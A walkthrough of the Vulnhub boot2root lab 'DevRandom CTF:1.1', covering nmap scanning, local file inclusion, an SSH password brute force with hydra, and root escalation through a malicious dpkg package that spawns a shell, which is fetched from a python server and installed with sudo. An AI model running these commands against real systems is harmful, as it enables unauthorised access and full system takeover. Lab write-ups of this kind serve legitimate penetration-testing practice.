CTF Challenges

DevRandom CTF:1.1 Vulnhub Walkthrough

Today we are going to solve another boot2root challenge called “DevRandom CTF:1.1”. It is available on Vulnhub for the purpose of Penetration Testing practices. This lab is not that difficult if we have the proper basic knowledge of cracking the labs. This credit of making this lab goes to Hunri Beats. Let’s start and learn how to successfully breach it.

Since these labs are available on the Vulnhub Website. We will be downloading the lab file from this link .

Penetration Testing Methodology


  • netdiscover
  • nmap


  • Browsing HTTP Service
  • Local file inclusion


  • Password Bruteforce via hydra
  • Login to ssh

Privilege Escalation

  • Abusing sudo  dpkg



We will start by scanning the network using Netdiscover tool and identify the host IP address.

We can identify our host IP address as So let’s start with nmap port enumeration and execute following command in our terminal.

 nmap -A -p-

From its result, we found ports 22(SSH), 80(HTTP) were open. Also robots.txt is available .


For more detail, we will be needing to start enumeration against the host machine. Therefore, we will navigate to a web browser for exploring HTTP service.

Nothing was displayed on the page . So we started exploring things we found in nmap scan that is:

On seeing the above page i hit-and-trial lfi on it and boom it worked . From its result we found a user trevor .


We have got a username trevor, now our next job is to find the password for the user trevor with the help of hydra, thus we execute following command:

hydra -l trevor -P /usr/share/wordlists/rockyou.txt ssh

From its result , we found the password that is qwertyuiop[]

Since We have username and a password, so we tried to access the SSH on the target system and were successfully able to logged in.

ssh trevor@

let’s go for post exploitation and try to escalate root privileged. 

sudo -l

with the help of sudo list, we notice that trevor can execute dpkg program as root.

Privilege Escalation

As we know that dpkg is a package installer thus we need to create a malicious package and install the malicious package within the host machine with the help of dpkg as result it will escalate the root privilege.

TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
python -m SimpleHTTPServer

Thus we run the following command found from gtfobin, that creates a malicious package to execute /bin/bash.

Once you will create the package, use python server to transfer this packet into host.

So, I downloaded the above malicious package inside /tmp using wget command.

cd /tmp

Now, once I have this package inside the /tmp I can used dpkg with sudo right to install the downloaded package, as soon as it will get install we will the root privilege shell.

sudo dpkg -i x_1.0_all.deb
cd /root
cat flag.txt

Author: Japneet Kaur Gandhi is a Technical Writer, Researcher and Penetration Tester. Contact  here